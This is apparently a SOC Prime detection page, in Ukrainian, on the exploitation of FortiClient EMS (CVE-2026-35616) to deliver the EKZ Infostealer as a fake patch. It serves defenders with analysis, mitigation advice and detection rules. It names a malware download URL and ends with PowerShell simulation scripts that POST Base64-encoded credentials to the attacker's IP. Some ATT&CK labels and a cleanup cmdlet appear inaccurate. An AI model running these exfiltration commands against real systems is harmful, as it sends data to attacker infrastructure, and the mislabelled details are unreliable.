SOC Prime Bias: Критично

29 May 2026 07:30 UTC

FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Author Photo
SOC Prime Team linkedin icon Стежити
FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Arctic Wolf виявили кампанію, яка експлуатувала CVE-2026-35616 у FortiClient EMS для розповсюдження шкідливого сценарію PowerShell на керовані кінцеві точки. Цей сценарій отримував і запускав шкідливу програму, відому як EKZ Infostealer, під виглядом легітимного патчу Fortinet. Зловмисне програмне забезпечення збирало паролі браузера, кукі та інформацію автозаповнення, після чого перехоплені дані передавалися через HTTP. Зловживаючи довіреними конфігураційними каналами EMS, зловмисники могли швидко виконати шкідливий код між кількома керованими пристроями.

Розслідування

Дослідники відтворили експлойт, надсилаючи спеціально сформовані неаутентифіковані HTTP-запити до API FortiClient EMS, що призводило до змін конфігурації, які вставляли зловмисні скрипти. Траси виконання показали fortitray.exe or ipsec.exe викликаючи cmd.exe, який, у свою чергу, запускав закодовану у Base64 команду PowerShell, що завантажувала p.exe з шкідливої IP-адреси. Завантажений файл записував log.txt файл у ProgramData, відправляв зібрані дані назад на той самий сервер, а потім самовидалявся.

Захист

Організаціям слід оновити FortiClient EMS до версії, яка виправляє CVE-2026-35616 та обмежити доступ до API з дозволених IP адрес. Захисники також повинні перевірити логи EMS на наявність помилок, пов’язаних з сертифікатами, та на несподівані зміни у профілях віддаленого доступу. Вихідний HTTP-трафік з кінцевих точок до невідомих IP-адрес слід блокувати, а виконання сценаріїв у робочих процесах профілів VPN обмежити за допомогою контролю найменших привілеїв.

Відповідь

Якщо виявлено цю активність, негайно ізолюйте уражені хости, скасуйте будь-які несанкціоновані облікові записи EMS, які могли бути створені, та видаліть зловмисні сценарії з каталогу журналів FortiClient. Розслідувачі повинні зберегти log.txt артефакт, розрахувати хеші для зловмисних бінарників і шукати збіги індикаторів у середовищі. Потрібно скинути викриті облікові дані веб-браузера, а команди повинні стежити за підозрілою діяльністю автентифікації, яка може виникнути після крадіжки.

"graph TB %% Визначення класів classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Вузли action_initial_access["<b>Дія</b> – <b>T1190 Експлуатація публічно-доступного застосунку</b><br/>CVEu20112026u201135616 у API FortiClient EMS"] class action_initial_access action process_api_requests["<b>Процес</b> – Неаутентифіковані запити API оброблені як дії привілейованого адміністратора"] class process_api_requests process action_cmd_launch["<b>Дія</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe запускають cmd.exe"] class action_cmd_launch action action_powershell["<b>Дія</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell сценарій"] class action_powershell action technique_obfuscation["<b>Техніка</b> – <b>T1027 Обфусцировані файли або інформація</b><br/>Пейлоад переданий у вигляді base64"] class technique_obfuscation technique technique_decode["<b>Техніка</b> – <b>T1140 Деобфускація/Декодування файлів або інформації</b><br/>Декодування base64 під час виконання"] class technique_decode technique action_download["<b>Дія</b> – <b>T1570 Перенесення інструментів по мережі</b><br/>Завантаження FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>Файл</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Розміщений на http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Дія</b> – <b>T1203 Експлуатація для виконання на клієнтах</b><br/>Тихе виконання завантаженого бінарника"] class action_execute action malware_infostealer["<b>Шкідлива програма</b> – EKZ Infostealer<br/>Збирає облікові дані, куки, дані автозаповнення"] class malware_infostealer malware technique_cred_access["<b>Техніка</b> – <b>T1555.003 Облікові дані з веб-браузерів</b>"] class technique_cred_access technique file_log["<b>Файл</b> – C:ProgramDatalog.txt<br/>Зберігання зібраних даних"] class file_log file action_exfil["<b>Дія</b> – <b>T1567 Експілтрейшн через веб-сервіс</b><br/>HTTP POST до серверу зловмисника"] class action_exfil action action_cleanup["<b>Дія</b> – <b>T1564 Приховування артефактів</b><br/>Видалення шкідливих файлів та журналу"] class action_cleanup action %% З’єднання action_initial_access –>|веде до| process_api_requests process_api_requests –>|спричиняє| action_cmd_launch action_cmd_launch –>|виконує| action_powershell action_powershell –>|використовує| technique_obfuscation technique_obfuscation –>|вимагає| technique_decode action_powershell –>|завантажує| action_download action_download –>|отримує| file_payload file_payload –>|виконуваний| action_execute action_execute –>|виконує| malware_infostealer malware_infostealer –>|виконує| technique_cred_access malware_infostealer –>|записує| file_log file_log –>|відправлено| action_exfil action_exfil –>|послідовний| action_cleanup action_cleanup –>|видаляє| file_payload action_cleanup –>|видаляє| file_log "

Перебіг атаки

Виявлення

Коротке ім’я файлу (через cmdline)

Команда SOC Prime
28 травня 2026

Підозріла робота CURL (через cmdline)

Команда SOC Prime
28 травня 2026

Виклик підозрілих методів .NET з Powershell (через powershell)

Команда SOC Prime
28 травня 2026

Можлива активність передачі даних Bits (через powershell)

Команда SOC Prime
28 травня 2026

IOCs (HashSha256) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (HashSha1) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (HashMd5) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (SourceIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (DestinationIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

Витік облікових даних EKZ Infostealer через HTTP POST [Підключення до мережі Windows]

Правила ІІ SOC Prime
28 травня 2026

FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer [Створення процесу Windows]

Правила ІІ SOC Prime
28 травня 2026

Виконання PowerShell через FortiClient для доставки EKZ Infostealer [Powershell Windows]

Правила ІІ SOC Prime
28 травня 2026

Виконання симуляції

Передумова: Телеметрія і базовий передпольотний контроль мають пройти успішно.

Аргументація: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати визначені TTPs і спрямовані на генерування саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або нерелевантні приклади призведуть до неправильної діагностики.

  • Опис атаки та команди:
    Атакуючий зібрав облікові дані з реєстру Windows (сімейство T1216) за допомогою EKZ Infostealer. Для передачі зібраного блобу шкідливе ПЗ запускає однолайновий PowerShell, який відправляє Base64-кодовані облікові дані на сервер командування та контролю за адресою 83.138.53.110. Використання PowerShell (Invoke-WebRequest) – це класична техніка “живучи з правдою”, яка обходить засновані на бінарних виявлення, водночас роджуючи мережеву телеметрію, що спостерігається брандмауером.

    powershell
    # Симуляція облікового навантаження (Base64 від "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Скрипт тесту регресії: Цей самостійний PowerShell сценарій відтворює крок ексфільтрації і може бути перезапущений для майбутньої регресії.

    powershell
    <#
    .SYNOPSIS
        Симуляція ексфільтрації облікових даних EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Генерує фальшивий обліковий блоб, кодує його та відправляє
        на відому шкідливу IP, що використовується у правилі виявлення.
    
    .NOTES
        Вимагає дозволеного вихідного HTTP до 83.138.53.110 на порту 80.
    #>
    
    # ---- Підготовка ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Виконання ----
    try {
        Write-Host "[*] Відправлення блоба облікових даних на $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] HTTP Статус:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST не вдався: $_"
    }
    
    # ---- Кінець сценарію ----
    
  • Команди очистки: Жодні постійні артефакти не створюються на диску, але для повноти ми закриваємо будь-які активні сесії веб-запитів і очищаємо змінні PowerShell.

    powershell
    # Очистка змінних та закриття будь-яких відкритих веб-сесій
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Очистка завершена."